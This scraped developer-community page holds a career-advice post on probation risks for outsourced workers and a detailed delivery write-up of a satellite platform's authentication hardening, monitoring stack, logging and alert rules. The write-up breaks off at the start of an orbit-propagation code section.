Java
快来分享你的内容吧~
- 7 天前·前端开发
- 7 天前本文是一次真实交付的完整拆解,对应仓库提交 :94 个文件变更、+5869 行 / -14 行,覆盖 M2 后半程的 4 条任务线、9 个工作日段(实施计划 D30–D38)。 这一轮不是单点优化,而是四条任务线并行推进:M2-6 认证加固(下)、M2-3 可观测性(后端接入 → 监控栈 → 日志与告警规则)、M2-4 SGP4 轨道引擎、M2-5 地面站过境预报与链路排程。每条线都有独立的接口边查看全文加油鸭:这份交付拆解太硬核了!94个文件、5800+行代码,四线并行却条理清晰,每处设计都有依据、每个验证都有实据。特别欣赏「锁定剩余时间向上取整」「EOP生效的三断言护栏」「SGP4时刻对齐揪出0.78秒偏差」这些细节——真正的工程感就藏在这些不妥协的较真里。为你扎实的交付点赞!532分享
- 10-12 17:00·@编程小助手 微信: leikooo_
- 10-10 00:36·产品经理程序运行时的数据都在内存里,程序一关数据就消失。文件 IO(Input/Output)就是把数据写到硬盘文件里持久保存,或者从硬盘文件读回内存。查看全文加油鸭:感谢分享,@编程导航小智 帮忙总结一波~333分享
- 10-10 00:34·产品经理
- 10-09 15:34·Python后端企业做项目流程: 需求分析=》 设计(概要设计、详细设计)=>技术选型=》初始化/引入需要的技术=》写demo=>写代码(实现业务逻辑)=》测试(单元测试)=》代码提交/代码评审=》部署=》发布查看全文鱼皮bug来了:但是很多企业做不到这么细,有的是拿到项目就问你能不能做,能做就马上做,边做边测试,开发完了就直接部署上线😂410分享
- 10-09 15:21·产品经理
- 10-08 23:58·产品经理手写泛型类、ArrayList、HashMap、Lambda熟悉一下查看全文加油鸭:代码整洁、逻辑清晰,四个练习覆盖泛型、集合增删改查、HashMap应用和Lambda排序,学得扎实!为你点赞!331分享
- 10-07 00:11·产品经理一个合格的后端,既会写 SQL 从数据库捞数据,也会用 Stream 在内存里玩数据。查看全文加油鸭:这段代码把Stream讲得既生动又透彻!方法引用、流水线思维、数据库与内存双协同,全是后端进阶的硬核亮点,学到了!331分享
OD试用期会被随便裁掉吗?我知道的两个真实例子和保命建议
"外包是不是试用期说裁就裁,一点保障都没有?""干得好好的,会不会项目一结束就被退回?"——这是很多人拿到OD offer后反而焦虑的事。网上"OD试用期被优化"的帖子看多了,难免慌。这篇我说两个我真实知道的例子,再给点能落地的保命建议。 先给结论:试用期被辞的情况确实有,但基本不是"无理由随便裁",大多是能力、态度或项目变动导致的。自己能做的防护,比你想的多。  # 先说一个真实被辞退的例子 我们组去年来过一个OD,做后端。进来之后状态一直不对:分配的任务迟迟交不上,代码提上来bug不少,review让他改,连着几版还是老问题。更要命的是经常联系不上人,消息半天不回,standup也含糊其辞。 主管和带他的人给过机会,把难的活先拿走、给他安排相对独立简单的模块,还专门谈了两次话、定了改进的时间点。但一个多月下来没明显起色,最后试用期没通过,和平结束,该结的工资都结了。 这个事大家私下聊,没人觉得是公司乱来——试用期本来就是双向考察,你确实胜任不了,被淘汰不意外。正编试用期过不了的,一样有。 ## 再说一个"项目变动"的例子 还有一种情况不是你的问题:项目砍了或者预算缩了,岗位没了。 隔壁组一个OD,活干得挺好,但他所在的那条业务线年底调整,整个项目停了,供应商那边一时又没有别的坑位,他只能离开。这种属于"用工性质"带来的客观风险——OD跟着项目走,项目没了,安置能力确实不如正编,这是实话。 不过他走的时候,主管帮他写了很实在的工作评价,他拿着这段大厂项目经历,很快去了另一家公司,薪资还涨了点。所以即便遇到这种最坏情况,你攒下的经验也不白攒。 想找个项目稳定、团队规范、能真正练本事的岗位[机会](https://jsj.top/f/mx4wQA),可以看看~ ## 说说保障到底有没有 别觉得外包就是"裸奔": 正规供应商是签正式劳动合同的,试用期时长、工资、解除条件都受劳动法约束,不是想让你当天走就能当天走试用期被证明不符合录用条件才能解除,公司得有依据(比如考核记录、改进沟通记录),不是一句"我看你不顺眼"就行实际提供劳动的工资必须结清,该有的加班费、报销也不能少如果遇到不正规操作、无理由辞退还不结清工资,保留好考勤、工资条、聊天记录,可以去劳动仲裁,这点外包正编都一样 ## 给你的保命建议(重点看) 入职第一天就搞清楚考核标准:试用期要达到什么、谁给你打分、多久review一次,主动问主管,别稀里糊涂 前期别挑活、别隐身:试用期最怕"交不出东西"和"找不到人"。哪怕活简单,也按时、高质量交付,让大家知道你靠谱、在状态主动要反馈:每隔一两周找带你的人聊聊,"我这块做得怎么样、哪里要调整",既显态度,也能早发现问题早补救,别等到最后被告知不通过 留好所有证据:劳动合同、offer、考勤打卡、工资条、工作沟通记录、提交记录,都存好,这是你最大的底气 选供应商和项目时长很关键:面试时侧面问问这个项目做多久、团队稳不稳,尽量选长期、明确的项目,降低"项目一停就走"的概率把每一天都当成在攒简历:进了大厂平台,抓紧接触核心技术、做出能写进简历的成果。这样就算最坏情况发生,你也有随时跳走的资本,而不是被动挨打 ## 我的真心话 试用期风险,OD确实比正编高一些,尤其项目变动这点,是这份工作的天然属性,来之前要认。但它绝不是"随时会被无缘无故扔掉",更多时候,被淘汰的是那些没通过双向考察的人——而这部分,恰恰是你自己能控制的。 把活干扎实、保持在线、主动沟通、留好证据,你能把这个风险压到很低。退一万步,在大厂练出的本事和履历,永远是你自己的,谁也裁不走。
卫星平台 2.0 M2 交付实录:从登录防爆破到米级轨道预报
> 本文是一次真实交付的完整拆解,对应仓库提交 `1501d2f`:**94 个文件变更、+5869 行 / -14 行**,覆盖 M2 后半程的 4 条任务线、9 个工作日段(实施计划 D30–D38)。 > > 这一轮不是单点优化,而是四条任务线并行推进:**M2-6 认证加固(下)**、**M2-3 可观测性(后端接入 → 监控栈 → 日志与告警规则)**、**M2-4 SGP4 轨道引擎**、**M2-5 地面站过境预报与链路排程**。每条线都有独立的接口边界、验证手段和明确取舍。 > > 全文按「问题 → 设计选择 → 关键实现 → 验证证据 → 偏差与遗留」的顺序逐项展开,配置片段与指标名均取自仓库实际内容,数字取自实际运行结果,可按文末索引自行核对。不适用于快速浏览,建议按节选读。  ## 0. 交付全景 | 编号 | 任务项 | 核心交付 | 验证方式与结果 | 状态 | | ---- | -------------------------- | -------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------- | | D30 | M2-6 认证加固(下) | 登录失败锁定、认证接口限流、refresh 校验链 | 相关 6 个测试类**50/50 全绿**;前端 lint / `vue-tsc` 0 error | 已交付 | | D31 | M2-3 可观测性后端接入 | Actuator + Micrometer、独立管理端口 8081、2 个业务指标 | 实测`:8081/actuator/health` 200(db/redis/diskSpace/ping 全 UP)、`/actuator/prometheus` 200 含自定义指标 | 已交付 | | D32 | M2-3 监控栈入 compose | Prometheus / Alertmanager / Grafana / Loki / Promtail 五服务 + 配置 | 6 个 YAML + 看板 JSON 静态校验全 PASS;本机原生二进制拉起 Prometheus 9090 + Grafana 3000 后,targets 全 UP、大盘 10 面板拉到真实数据 | 配置交付;Prometheus/Grafana 已验,Alertmanager/Loki 待推进 | | D33 | M2-3 结构化日志 + 告警规则 | `logback-spring.xml` 双 profile、traceId/MDC、双层脱敏、4 条告警规则 | 全量`mvn test` **233/233 全绿**(新增 14 条);YAML 静态校验 22/22;Prometheus `/api/v1/rules` 实测加载 3 group / 4 rule `health=ok` | 已交付 | | D34 | M2-4 SGP4 引擎(上) | `OrbitPropagator` 抽象 + Orekit 实现 + 最小数据集 | 定向单测**5/5 全绿** | 已交付 | | D35 | M2-4 SGP4 引擎(下) | 坐标转换双路径、航迹 API、TLE 上传、仿真灰度开关 | 定向单测**12/12 全绿** + D34 回归 5/5 | 已交付 | | D36 | M2-4 单测与对比验证 | 独立参考实现比对、边界用例、性能基线 | **12/12 全绿**;位置偏差米级;万次传播 405 ms | 已交付(零生产代码改动) | | D37 | M2-5 过境预报(后端) | 仰角扫描状态机、AOS/LOS 插值、分页 API、Redis 缓存、EOP 纳入 | **21 全绿 / 0 跳过**,日志无 ITRF 回退告警 | 已交付 | | D38 | M2-5 过境前端 + GSL 排程 | 过境预报抽屉、排程甘特视图、冲突标注、EOP 徽章 | `vue-tsc` 0 error、`eslint` 0 error、`vite build` 绿;后端 21 全绿回归 | 已交付 | 同一提交的代码规模:后端 70 个文件(主代码 52 + 测试 17 + `pom.xml`),前端 13 个,部署与根配置 11 个(`deploy/` 下 8 个新配置文件 + `docker-compose.yml` + `.env.example` + `.gitignore`)。测试侧新增 16 个类,当前后端测试源码共 **36 个测试类 / 269 个 `@Test`**。 ## 1. M2-6 认证加固(下):在凭据校验之外收束攻击面 上一轮(D29)交付了图形验证码与密码策略,解决的是「单次登录强度」。本轮解决的是**连续尝试的成本**与**令牌生命周期**——三块互相独立,但必须同时在线才有意义。 ### 1.1 登录链路的执行顺序是设计的一部分 `AuthServiceImpl.login` 的判定顺序被明确固定为: ``` 验证码校验 → checkLocked(锁定前置拒绝)→ 查用户 / 比对密码 → 状态校验 → reset 计数 → 签发令牌 ``` 三个细节值得单独说明: - **锁定判定放在查库之前**。锁定期内的请求不触碰用户表,既降低持续爆破的数据库成本,也不产生任何可用于枚举账户的差异响应。 - **未知用户与密码错误走同一条 `recordFailure` 分支**。区分二者等于告诉攻击者「这个用户名存在」,账户枚举防线在这里必须合并。 - **账户禁用(凭据正确但 `status != 1`)不计入爆破窗口**。禁用不是爆破行为,计入会污染计数语义。 ### 1.2 失败锁定:两把 Redis key,不是一张表 `LoginAttemptServiceImpl` 用两个 key 表达状态,全部依赖 Redis TTL 自然过期,没有定时任务、没有数据库字段: ``` leo:auth:fail:{username} 失败计数,首次 INCR 时设置窗口 TTL(默认 15min) leo:auth:lock:{username} 锁定标记,值 "1",TTL = lock-minutes(默认 15min) ``` 计数达到 `max-failures`(默认 5)时写入锁定 key 并删除计数 key;锁定期内 `checkLocked` 直接抛出业务异常: ```java Long ttlSeconds = stringRedisTemplate.getExpire(lockKey(username)); // getExpire:-2 表示 key 不存在(未锁定),-1 理论上不应出现(写入即带 TTL),>0 表示仍在锁定期 if (ttlSeconds != null && ttlSeconds > 0) { long remainingMinutes = (ttlSeconds + 59) / 60; // 向上取整,避免对用户说"剩余 0 分钟" throw BusinessException.of(423, "auth.accountLocked", remainingMinutes); } ``` 三个容易忽略的点:**剩余时间向上取整**(`(ttl+59)/60`,否则用户看到「还剩 0 分钟」却仍被拒);**成功登录清两把 key**(否则计数窗口残留会在下次异常时提前触发锁定);**锁定到期自动解锁**,不提供人工解锁接口——15 分钟的窗口本身就是策略的一部分。 ### 1.3 接口限流:注解 + 拦截器,只保护认证入口 限流没有做成全局网关,而是**声明式地点在认证接口上**: ```java @LeoRateLimit(name = "login", max = 10, windowSeconds = 60) // /auth/login @LeoRateLimit(name = "captcha", max = 30, windowSeconds = 60) // /auth/captcha @LeoRateLimit(name = "refresh", max = 20, windowSeconds = 60) // /auth/refresh ``` `RateLimitInterceptor` 以「客户端 IP + 逻辑名」为维度做 Redis 固定窗口计数(`INCR` + 首次 `EXPIRE`),超限抛 429。IP 解析有严格优先级: ``` X-Forwarded-For 首跳 > X-Real-IP > request.getRemoteAddr() ``` 不取首跳而取整个 `X-Forwarded-For` 串,会让同一攻击者因代理链不同而分裂成多个计数维度;用 `remoteAddr` 则在容器/网关部署后永远统计到代理 IP,限流形同虚设。 固定窗口的已知缺陷(窗口边界处最坏可承受 2× 阈值)在本轮**未做处理**,属于有意取舍:目标是压制自动化爆破,不是精确配额。若后续要升级为滑动窗口,替换点是 `RateLimitInterceptor` 内部实现,注解与调用方无需变更。 ### 1.4 refresh 校验链:无状态方案下的类型区分 本轮可选方案有两个:引入 Redis 存 `jti` 做吊销名单,或在令牌内声明类型。经确认选择**无状态类型区分**——不增加存储依赖,代价是不支持主动吊销(当前平台无此需求)。 `JwtUtil` 新增 `type` 声明(`access` / `refresh`)与 `isRefreshToken` / `isRefreshTokenType` 判定,随后三处同时收紧: | 位置 | 收紧内容 | | ------------------------------ | --------------------------------------------------- | | `AuthServiceImpl.refreshToken` | 必须`isRefreshToken` 为真,拒绝访问令牌冒用续期凭据 | | `JwtAuthenticationFilter` | 拒绝以 refresh 令牌充当 HTTP 访问凭证 | | `WsAuthChannelInterceptor` | 同上,WebSocket STOMP CONNECT 帧同规则 | 同一方法内另两条规则:**续期时复核用户 `status=1`**(令牌有效期内被禁用的账户不得续期,否则禁用要等到令牌自然过期才生效);**续期即轮换**,签发全新的 access + refresh 对,不做「只换 access」的半轮换。 ### 1.5 两处降级取舍:fail-open 是有意识的选择 锁定与限流在 Redis 异常时**均记 WARN 并放行**(fail-open)。理由:这两处是「防滥用」而非「防越权」,缓存抖动把所有人锁在门外的代价高于短暂失去爆破抑制;而真正的硬门槛(验证码、凭据校验、JWT 签名)不依赖 Redis,仍然 fail-closed。 需要明确的是这条边界的前提:**如果哪天凭据校验也依赖 Redis,这个取舍就不再成立**,必须重新评估。 业务码选用 HTTP 语义的 **423 / 429**,与项目既有 401/403/400 口径一致,未采用示例中的 1005 自定义码——前端已有按 HTTP 语义分支的错误处理,新增一套码域只会制造双份判断。 ### 1.6 验证 `LoginAttemptServiceImplTest` 8 条、`RateLimitInterceptorTest` 9 条、`AuthServiceImplTest` 由 7 条扩至 9 条(覆盖锁定前置与 refresh 新分支),加存量 `CaptchaServiceImplTest` 8 / `PasswordPolicyTest` 9 / `WsAuthChannelInterceptorTest` 7,**50/50 全绿**。前端零改动:锁定与限流提示经服务端 i18n 本地化后由 `LoginView` 既有错误处理透出,并自动刷新验证码。 D30 同时是本周的**缓冲日**:告警链路与验证码相关的存量用例在本日一并回归(含 `WsAuthChannelInterceptorTest` 全绿——refresh 类型收紧会直接影响 STOMP CONNECT 帧校验,不改这一处就会实时推送链路上出现登录后可用、重连被拒的行为不一致)。本日无临时库、无脚本产物,构建校验日志验证后即删。 ## 2. M2-3 可观测性后端接入:指标端点与两个业务信号 ### 2.1 为什么必须走独立管理端口 `server.servlet.context-path` 是 `/api`。如果 Actuator 留在主端口,指标端点实际路径是 `/api/actuator/prometheus`,与验收口径 `curl /actuator/prometheus` 不符,也让「业务入口」与「运维入口」共用一套安全规则。因此配置独立端口: ```yaml management: server: port: 8081 endpoints: web: exposure: include: health,info,prometheus endpoint: health: show-details: always # 暴露 db/redis 各指示器明细 health: redis: enabled: true ``` 依赖只加两项,版本全部交给 Boot 3.3.5 父 BOM 管理,不写 `<version>`:`spring-boot-starter-actuator`、`io.micrometer:micrometer-registry-prometheus`。 ### 2.2 一个被实测推翻的假设 计划阶段的假设是:**独立管理端口天然不经过业务 `SecurityFilterChain`**。实测不成立——当前 Boot 版本下,安全过滤链同样拦截 8081,`GET /actuator/health` 返回 **403**。 修正方式是在 `SecurityConfig` 中按最小面放行,且只放行只读方法: ```java // 可观测性(M2-3 / O1-1):Actuator 走独立管理端口 8081,但安全过滤链仍会拦截, // 故仅放行 GET(health/info/prometheus 只读);8081 不在 compose 对外映射,仅供内网抓取。 .requestMatchers(HttpMethod.GET, "/actuator/**").permitAll() ``` 安全边界没有变:`8081` 不在 compose 中向宿主映射,只有 `leo-network` 内的 Prometheus 能抓;放行的三个端点全部只读;`shutdown` 等写端点根本未通过 `exposure.include` 暴露。 ### 2.3 两个业务指标,各自服务一条告警 基础指标(`jvm_*`、`hikaricp_*`、`http_server_requests_*`)由自动装配提供,本轮只补两项业务信号: ```java Gauge.builder("leo.connector.active.count", connectorManager, ConnectorManager::getActiveCount) .description("Number of currently running data connectors") .register(meterRegistry); ``` ```java // TelemetryWebSocket.sendTelemetryUpdate() meterRegistry.counter("leo.telemetry.push.total").increment(); ``` 两者的分工不同:`leo_connector_active_count` 是**瞬时量**(Gauge,抓取时实时读 `active.size()`,为此给 `ConnectorManager` 加了 `getActiveCount()` 访问器);`leo_telemetry_push_total` 是**累计量**(Counter,专门给 4.5 节的「推送中断」告警提供可微分的数据源)。Gauge 的取值函数用方法引用绑定到 Spring 单例上,Micrometer 对目标对象持弱引用——如果绑的是一个临时对象,指标会静默变成 NaN,这是接 Gauge 时最容易踩的空坑。 ### 2.4 实测输出 后端重启后在 8081 实测: - `GET /actuator/health` → **200**,`status=UP`,`components` 含 `db`(PostgreSQL)、`redis`(5.0.14.1)、`diskSpace`、`ping`; - `GET /actuator/prometheus` → **200**,含 `jvm_*` / `hikaricp_connections*` / `http_server_requests_seconds*`,以及 `leo_telemetry_push_total`(定时推送已累计,值 11)、`leo_connector_active_count`(当时无运行中连接器,值 0)。 一处口径说明:Redis 以**健康指示器**形式体现,Micrometer 默认不导出 `redis_*` 命令级指标(需额外开启 Lettuce command statistics),不属于本任务范围,未做。 ### 2.5 运行时验收 Prometheus 拉起来后,两个指标端点与两个业务信号均可在官方 UI 中看到:  上图为 `http://localhost:9090/targets`——job=`leo-backend` 行 instance=`localhost:8081`、Endpoint=`http://localhost:8081/actuator/prometheus`,状态 **UP**,上一次抓取 9.2s 前 / 161ms;job=`prometheus` 行同样 UP。上一版「本机上无 Docker 引擎 → 拉不到后端指标」的卡点,以 `prometheus-native.yml`(target 改为 `localhost:8081`)+ 本机原生 prometheus.exe 重启后自动接上。  上图为 Prometheus Query 页:`sum(rate(leo_telemetry_push_total[1m])) by (job)` 当前值 ≈ 0.2 req/s,序列 `{job="leo-backend"}` 存在。Counter 从后端启动时零计数累起,曲线右端可见、左端为空属预期(当时指标还未来得及入库);`leo_connector_active_count` 当前为 0,因为本会话未启动任何数据连接器——零值与 NaN 不同,面板会真实展示数字 0,不会自动静默。 ## 3. M2-3 监控栈入 compose:五个服务、一台机器、全部限额 ### 3.1 服务矩阵 | 服务 | 镜像 | 宿主端口 | 内存/CPU 限额 | 数据卷 | 关键参数 | | ------------ | --------------------------- | ------------- | ------------- | ------------------- | ----------------------------------------------------------------------- | | prometheus | `prom/prometheus:v2.53.4` | 9090 | 512M / 0.5C | `prometheus_data` | `retention.time=7d`、`retention.size=2GB`、`web.enable-admin-api=false` | | alertmanager | `prom/alertmanager:v0.27.0` | 9093 | 128M / 0.2C | `alertmanager_data` | `extra_hosts: host-gateway` | | grafana | `grafana/grafana:11.6.0` | **3001**:3000 | 256M / 0.3C | `grafana_data` | 关匿名访问、关上报、默认 dark 主题 | | loki | `grafana/loki:3.4.2` | 3100 | 512M / 0.5C | `loki_data` | filesystem + tsdb、`retention_period=168h` | | promtail | `grafana/promtail:3.4.2` | 不映射 | 128M / 0.2C | — | 只读挂载`docker.sock` | 单机部署必须假设监控栈会「吃掉宿主」,因此五个服务全部有 `deploy.resources.limits`,Prometheus 与 Loki 同时受时间与容量双重保留限制(先到者生效)。Grafana 用 3001 是为了避开 Vite dev 的 3000。管理员密码从 `.env` 的 `GRAFANA_ADMIN_PASSWORD` 读取,缺省 `admin` 仅用于开发,`.env.example` 中已补占位说明。 ### 3.2 数据流:三条链路 ``` 指标:backend:8081/actuator/prometheus → Prometheus(15s 抓取) → Grafana 看板 / Alertmanager 日志:容器 json-file(20m×5) → Promtail(docker_sd + keep "/leo-.*") → Loki → Grafana Explore 告警:Prometheus rule_files(alerts.yml) → Alertmanager(分组/抑制/路由) → webhook / 邮件 / 企微桥接 ``` `prometheus.yml` 的抓取目标是 `backend:8081`,`metrics_path: /actuator/prometheus`——这正是 2.1 选择独立端口后得到的干净路径。Promtail 通过 Docker 服务发现采集,用 relabel 只保留统一 `leo-` 前缀的本栈容器,并打上 `container` / `service` 标签。 ### 3.3 Grafana 看板:10 个面板,全部对应已存在的指标 `deploy/grafana/dashboards/leo-platform.json` 通过 provisioning 自动加载,面板与查询一一对应: | 面板 | 查询要点 | | ------------------------- | ---------------------------------------------------------------- | | 后端 Up | `up{job="leo-backend"}`,值映射 UP/DOWN 绿红 | | 连接器在线数 | `leo_connector_active_count`,阈值 10 转橙 | | 遥测推送速率 | `sum(rate(leo_telemetry_push_total[1m]))` | | 遥测推送累计 | `sum(leo_telemetry_push_total)` | | JVM 堆内存使用 | `jvm_memory_used_bytes` vs `jvm_memory_max_bytes`(area=heap) | | HTTP 请求速率(按状态码) | `sum by (status) (rate(http_server_requests_seconds_count[5m]))` | | HTTP 5xx 占比 | 5.. / 全部,percent 轴 0–100 | | HTTP P95 延迟 | `histogram_quantile(0.95, ...)` | | HikariCP 连接池 | active / idle / pending 三条线 | | JVM 线程 & 进程 CPU | 双轴(线程数 + CPU 占比覆写单位) | 面板只引用第 2 节确认存在的指标名,没有任何「设想了但没埋点」的查询——这是看板配置能在无运行环境下仍可信的前提。 ### 3.4 一个反复出现的部署细节 Loki 与 Alertmanager 的官方镜像**不解析配置文件里的环境变量占位符**,因此两者的配置一律以只读挂载注入,命令行显式指定 `--config.file` / `-config.file`。写进 `environment:` 段是无效的,而且失败方式很安静(服务起来但用默认配置)。 ### 3.5 运行时验收(补拍) 本机以原生二进制拉起 Prometheus 9090 + Grafana 3000(Grafana 实际运行在 3000、非 compose 映射的 3001),完成「Prometheus 抓到后端 → Grafana 看板可看到真实数据」两级验收。大盘 `uid=leo-platform` 的 10 个面板实际渲染如下:  - **后端 Up** = 绿底 `UP`(`up{job="leo-backend"}` = 1); - **连接器在线数** = 数字 `0`(Gauge 当前值,不是 No data); - **遥测推送速率** 时序曲线稳定在 0.1–0.2 req/s(Counter `rate` 后的自然结果); - **JVM 堆内存使用** 同时拉到上限≈ 8 GiB、已用贴底的真实曲线(证明 4.5 节 `jvm_memory_max_bytes{…} > 0` 排除无上限池的写法能拿到分母); - **HTTP 请求速率** 图例中 101/200/403 三个 status 均拉到序列,右半段有真实曲线。 下半屏的 **HikariCP 连接池**(active/idle/pending)、**JVM 线程 & 进程 CPU**(78–79 线程 + CPU 0–2%)、**遥测推送累计** 同样有数据;**HTTP 5xx 占比** 与 **HTTP P95 延迟** 当前为 No data(无 5xx 且 histogram 桶未产生样本),属预期。 ### 3.6 仍未完成项(如实记录) - **Alertmanager 9093**:本机未起。Prometheus 已能评估 `alerts.yml`(下节 4.5.1 图),但 `alerting.alertmanagers` 向 9093 push 时会报连接拒绝;compose 内的 `host.docker.internal:19095` webhook 闭环验收同样搁置。 - **Loki 3100 + promtail**:本机未起;`docker.sock` 服务发现路径在 Windows 原生部署下不适用,需改用 `static_configs` + 文件 tail;logback-spring.xml 当前仅向 console appender 输出(dev 与 prod profile 都没有 `RollingFileAppender`),promtail 无文件可 tail——这块完整链路需与 D39 dev/prod profile 拆分一同推进。 - **compose 一键拉起五服务**:本机无 Docker Desktop,上面所有验证均以原生二进制 + 手写本地配置完成,与 compose 内部的容器网络语义不同(如 `host.docker.internal` 与 `backend:8081`)。本次新建的 `deploy/prometheus/prometheus-native.yml` 仅作为本机验收入口,compose 内的 `prometheus.yml` 保持容器网络口径不变。 ## 4. M2-3 结构化日志与告警规则:让日志可检索,让告警不吵 ### 4.1 一个配置文件,两种输出格式 `logback-spring.xml` 用 `<springProfile>` 分治,dev 保留人读文本、prod 输出机器读 JSON,两者共享同一套 MDC 与脱敏: ```xml <springProfile name="!prod"> <pattern>%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] [%X{traceId:-}] [%X{userId:-}] %-5level %logger{36} - %maskedMsg%n</pattern> </springProfile> <springProfile name="prod"> <encoder class="net.logstash.logback.encoder.LoggingEventCompositeJsonEncoder"> <providers> <timestamp/><logLevel/><logLevelValue/><threadName/><loggerName/> <mdc/><arguments/><stackTrace/> <pattern><pattern>{"message":"%maskedMsg"}</pattern></pattern> </providers> <jsonGeneratorDecorator class="net.logstash.logback.mask.MaskingJsonGeneratorDecorator"/> </encoder> </springProfile> ``` 同时删除了 `application.yml` 里的 `logging.pattern.console`——日志格式的定义权统一收归 `logback-spring.xml`,避免两处配置互相覆盖后难以判断生效来源。 ### 4.2 traceId:顺序、校验、清理 `TraceIdFilter` 的三个决定: 1. **`@Order(Ordered.HIGHEST_PRECEDENCE)`**,早于 Security 过滤链(order=-100)。否则被鉴权拒绝的请求日志没有 traceId,而那恰恰是最需要排查的一类日志。 2. **白名单校验客户端传入值**:`[A-Za-z0-9\-_]{1,64}`,不合规即重新生成。允许任意字符串进 MDC 等于开放日志注入(CRLF 伪造日志行、超长垃圾串破坏 Loki 检索)。 3. **`finally` 中 `MDC.remove`**。Servlet 容器线程复用,不清理会把上一个请求的 traceId 串到新请求上——这类污染在单机压测时几乎必然出现,且极难定位。 `userId` / `username` 由 `JwtAuthenticationFilter` 在令牌解析成功后写入 MDC(旧令牌无 `userId` 声明则不写,不伪造),链路结束统一清理。响应回写 `X-Trace-Id` 头,便于前端与网关侧关联同一次调用。 ### 4.3 脱敏为什么要两层 | 层 | 实现 | 覆盖范围 | | ----------- | ------------------------------------------------ | ----------------------------------------------------------- | | 消息文本层 | `MaskingMessageConverter`(转换词 `%maskedMsg`) | `password=xxx`、`"token": "xxx"`、`api_key: xxx` 等内联键值 | | JSON 字段层 | `MaskingJsonGeneratorDecorator` | mdc / arguments 等结构化字段中字段名命中规则的取值 | 文本层的正则有一个顺序陷阱,代码里专门写了注释:**长键必须排在短键之前**(`refresh_token` / `access_token` 先于 `token`)。正则交替分支是短路的,`token` 放前面会把 `refresh_token=...` 从中间截断匹配,导致值漏脱敏: ```java private static final Pattern SENSITIVE = Pattern.compile( "(?i)((?:refresh[_-]?token|access[_-]?token|password|passwd|pwd|secret|token|api[_-]?key|credential)" + "\"?\\s*[:=]\\s*\"?)([^\\s\",; }]+)"); ``` ### 4.4 logstash-logback-encoder 8.0 的四个坑 | 现象 | 根因 | 处理 | | --------------------------------------------------------- | ------------------------------------------------- | -------------------------------------------------- | | 依赖不写版本号即编译失败 | Boot 父 BOM**不管理**该库版本 | 显式锁定`8.0` 并加注释 | | 计划点名的`RegexJsonMaskingJsonGeneratorDecorator` 不存在 | encoder 8.0 中无此类(jar 实测确认) | 改用`MaskingJsonGeneratorDecorator` 默认字段名规则 | | JSON 中出现`\"` 被再转义成 `\\"` | pattern provider 本身会做 JSON 转义,手写转义叠加 | 删除子转换器,文本与 JSON 共用同一个`%maskedMsg` | | LogQL 里 ` | json`取不到`mdc.traceId` | encoder 把 MDC 键**平铺到 JSON 顶层** | ### 4.5 四条告警规则与三个表达式细节 `deploy/prometheus/alerts.yml` 按语义分三组: | 告警 | 表达式要点 | `for` | 级别 | | -------------------- | --------------------------------------------------------------------------------------------- | ----- | -------- | | BackendServiceDown | `up{job="leo-backend"} == 0` | 1m | critical | | TelemetryPushStalled | `sum(increase(leo_telemetry_push_total[1m])) < 1` | 1m | warning | | ApiHigh5xxRate | 5xx / 全部`rate(...[5m])` > 0.05 | 5m | critical | | JvmHeapUsageHigh | `sum(jvm_memory_used_bytes{area="heap"}) / sum(jvm_memory_max_bytes{area="heap"} > 0)` > 0.85 | 5m | warning | 三条写规则时的判断: - **5xx 比率在零流量时不能误报**。分母为零时表达式结果为 NaN,NaN 的任何比较都不成立,规则自然不触发——不需要额外加 `> 0` 保护,但必须理解这是「靠 NaN 语义」而非「靠显式判断」,改表达式时容易破坏。 - **JVM 堆必须排除无上限内存池**。`jvm_memory_max_bytes` 对部分池返回 -1,直接求和会把分母压小甚至变负,因此分母写 `sum(... > 0)` 只累设有上限的池。 - **遥测中断用「计数器零增量」而不是「日志里找异常」**。推送每 5 秒一次,正常 1 分钟窗口增量约 12;`increase(...) < 1` 持续 1 分钟即等价于 DoD 要求的「中断 > 60s」。这条规则完全依赖 2.3 节埋的 Counter——指标和规则是一起设计的,不是先埋点再凑规则。 ### 4.5.1 规则加载与评估实测 以 `prometheus-native.yml` 重启后(`rule_files: [alerts.yml]`),`GET /api/v1/rules` 拉到 **3 个 group / 4 条规则**,health 均为 `ok`;后端健康且推送正常运行下,state 均为 `inactive`(预期):  `BackendServiceDown` 未触发对应 `up == 1`;`TelemetryPushStalled` 未触发对应 `increase(leo_telemetry_push_total[1m]) ≈ 12 > 1`;`ApiHigh5xxRate` 与 `JvmHeapUsageHigh` 同样处于安全侧。需要验证“真实可触发”,可在下一轮故意 kill 后端进程观察 `BackendServiceDown` 进入 `pending → firing`;本轮仅确认 “表达式可拉、规则可评” 两个前提。 ### 4.6 Alertmanager:分组、抑制、以及凭证边界 ```yaml route: group_by: ["alertname"] group_wait: 15s # 同组首条告警等待窗口(凑批减少噪音) group_interval: 1m repeat_interval: 4h routes: - matchers: ['severity = "critical"'] repeat_interval: 1h inhibit_rules: - source_matchers: ['alertname = "BackendServiceDown"'] target_matchers: ['alertname =~ "JvmHeapUsageHigh|TelemetryPushStalled|ApiHigh5xxRate"'] equal: ["job"] ``` `inhibit_rules` 是这段配置里唯一有「运维判断」的部分:服务已经 down 时,堆内存、5xx 比率、遥测停摆都是被拖垮的次生现象,不抑制就会在故障窗口里同时刷出四条告警,掩盖真实的第一现场。 接收端默认指向 `host.docker.internal:19095`(compose 配 `host-gateway` 以兼容 Linux 宿主),用于验证「测试告警可送达 webhook」的闭环;邮件与企业微信以注释模板交付,**凭证不入库**——企微需自建 webhook 桥接服务转换载荷,群机器人 key 属敏感信息,只允许存在于部署环境变量或秘密管理系统中。 ### 4.7 验证 全量 `mvn test` **233/233 全绿 BUILD SUCCESS**,新增 14 条:`TraceIdFilterTest` 4、`JwtAuthenticationFilterMdcTest` 4、`MaskingMessageConverterTest` 4、`LogbackSpringConfigTest` 2。其中 `LogbackSpringConfigTest` 不是断言 XML 文本,而是通过 Boot 的 `LogbackLoggingSystem` **真实加载** `logback-spring.xml`,分别验证两种 profile 下的输出行为(JSON 行无明文密码且为合法单行 JSON)。部署层 5 个 YAML 静态校验 22/22 PASS。运行时验收(Prometheus 抓后规则 + Grafana 大盘拉数据)已在 2.5、3.5、4.5.1 三节附实测图;**Loki 按 traceId 检索、告警送达 webhook** 两项因 3.6 所述原因(Loki/Alertmanager 本机未起 + logback 无文件 appender)仍待后续推进。 ## 5. M2-4 SGP4 轨道引擎:接口、数据、以及一次独立实现的交叉验证 ### 5.1 先定接口,再选引擎 `service/orbit` 包的第一层是接口与数据载体,Orekit 只出现在一个实现类里: ```java public interface OrbitPropagator { 